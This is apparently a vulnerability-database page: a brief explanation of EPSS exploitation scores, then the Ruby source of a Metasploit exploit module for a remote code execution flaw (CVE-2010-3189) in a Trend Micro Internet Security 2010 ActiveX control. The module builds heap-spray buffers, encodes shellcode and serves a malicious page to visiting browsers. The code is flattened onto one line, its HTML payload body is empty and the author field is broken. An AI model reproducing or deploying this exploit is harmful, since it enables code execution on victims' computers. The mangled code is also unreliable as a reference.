The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # $Id: trendmicro_extsetowner.rb 10538 2010-10-04 04:26:09Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ## # trendmicro_extsetowner.rb # # Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution exploit for the Metasploit Framework # # Exploit successfully tested on the following platforms: # - Trend Micro Internet Security Pro 2010 on Internet Explorer 7, Windows XP SP3 # - Trend Micro Internet Security Pro 2010 on Internet Explorer 7, Windows Vista SP2 # # UfPBCtrl.dll version tested: # File Version: 17.50.0.1366 # ClassID: 15DBC3F9-9F0A-472E-8061-043D9CEC52F0 # RegKey Safe for Script: True # RegKey Safe for Init: True # KillBitSet: False # # References: # - CVE-2010-3189 # - OSVDB 67561 # - http://www.zerodayinitiative.com/advisories/ZDI-10-165/ - Original advisory by Andrea Micalizzi aka rgod via Zero Day Initiative # - http://www.exploit-db.com/exploits/14878/ - MOAUB #03 exploit # - http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/ - MOAUB #03 binary analysis # - http://www.rec-sec.com/2010/09/28/trend-micro-internet-security-2010-rce-exploit/ - Metasploit exploit by Trancer, Recognize-Security # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in Trend Micro Internet Security Pro 2010 ActiveX. When sending an invalid pointer to the extSetOwner() function of UfPBCtrl.dll an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancer '$Revision: 10538 $', 'References' => [ [ 'CVE', '2010-3189' ], [ 'OSVDB', '67561'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-165/' ], # Andrea Micalizzi aka rgod via Zero Day Initiative [ 'URL', 'http://www.exploit-db.com/exploits/14878/' ], # MOAUB #03 ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x00C750A1 } ] #?? ], 'DisclosureDate' => 'Aug 25 2010', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape(make_nops(4)) ret = Rex::Text.to_unescape([target.ret].pack('V')) blocksize = 0x40000 fillto = 500 # ActiveX parameters clsid = "15DBC3F9-9F0A-472E-8061-043D9CEC52F0" # Randomize the javascript variable names ufpbctrl = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) html = %Q| | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end